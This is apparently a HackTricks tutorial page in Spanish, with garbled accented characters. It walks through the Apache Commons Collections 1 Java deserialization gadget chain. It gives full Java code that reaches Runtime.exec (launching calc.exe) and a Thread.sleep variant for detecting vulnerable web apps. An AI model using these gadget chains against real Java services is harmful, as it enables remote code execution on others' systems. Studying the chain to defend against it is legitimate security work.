CommonsCollection1 Payload - Java Transformers a Rutime exec() y Thread Sleep
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Java Transformers a Rutime exec()
En varios lugares puedes encontrar una carga 煤til de deserializaci贸n de java que utiliza transformadores de las colecciones comunes de Apache como la siguiente:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Si no sabes nada sobre los payloads de deserializaci贸n de Java, podr铆a ser dif铆cil entender por qu茅 este c贸digo ejecutar谩 un calc.
Primero que nada, necesitas saber que un Transformer en Java es algo que recibe una clase y la transforma en otra diferente.
Tambi茅n es interesante saber que el payload que est谩 siendo ejecutado aqu铆 es equivalente a:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
O m谩s exactamente, lo que se va a ejecutar al final ser铆a:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
C贸mo
Entonces, 驴c贸mo se presenta la primera carga 煤til equivalente a esas "simples" l铆neas de c贸digo?
Primero que nada, puedes notar en la carga 煤til que se crea una cadena (array) de transformaciones:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Si lees el c贸digo, notar谩s que si de alguna manera encadenas la transformaci贸n del array, podr铆as ejecutar comandos arbitrarios.
Entonces, 驴c贸mo se encadenan esas transformaciones?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
En la 煤ltima secci贸n de la carga 煤til, puedes ver que se crea un objeto Map. Luego, se ejecuta la funci贸n decorate
de LazyMap
con el objeto map y los transformadores encadenados. A partir del siguiente c贸digo, puedes ver que esto har谩 que los transformadores encadenados se copien dentro del atributo lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Y luego se ejecuta el gran final: lazyMap.get("anything");
Este es el c贸digo de la funci贸n get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Y este es el c贸digo de la funci贸n transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
As铆 que, recuerda que dentro de factory hab铆amos guardado chainedTransformer
y dentro de la funci贸n transform
estamos recorriendo todos esos transformers encadenados y ejecutando uno tras otro. Lo curioso es que cada transformer est谩 usando object
como entrada y object es la salida del 煤ltimo transformer ejecutado. Por lo tanto, todas las transformaciones est谩n encadenadas ejecutando la carga 煤til maliciosa.
Resumen
Al final, debido a c贸mo lazyMap est谩 gestionando los transformers encadenados dentro del m茅todo get, es como si estuvi茅ramos ejecutando el siguiente c贸digo:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Tenga en cuenta c贸mo value
es la entrada de cada transformaci贸n y la salida de la transformaci贸n anterior, lo que permite la ejecuci贸n de una l铆nea:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Nota que aqu铆 se explicaron los gadgets utilizados para el payload de ComonsCollections1. Pero queda c贸mo todo esto comienza a ejecutarse. Puedes ver aqu铆 que ysoserial, para ejecutar este payload, utiliza un objeto AnnotationInvocationHandler
porque cuando este objeto se deserializa, invocar谩 la funci贸n payload.get()
que ejecutar谩 todo el payload.
Java Thread Sleep
Este payload podr铆a ser 煤til para identificar si la web es vulnerable ya que ejecutar谩 un sleep si lo es.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
M谩s Gadgets
Puedes encontrar m谩s gadgets aqu铆: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.